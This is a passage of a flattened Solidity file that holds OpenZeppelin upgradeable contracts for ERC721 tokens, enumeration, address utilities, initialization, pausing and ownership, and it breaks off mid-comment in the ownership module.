* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// File @openzeppelin/contracts-upgradeable/security/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
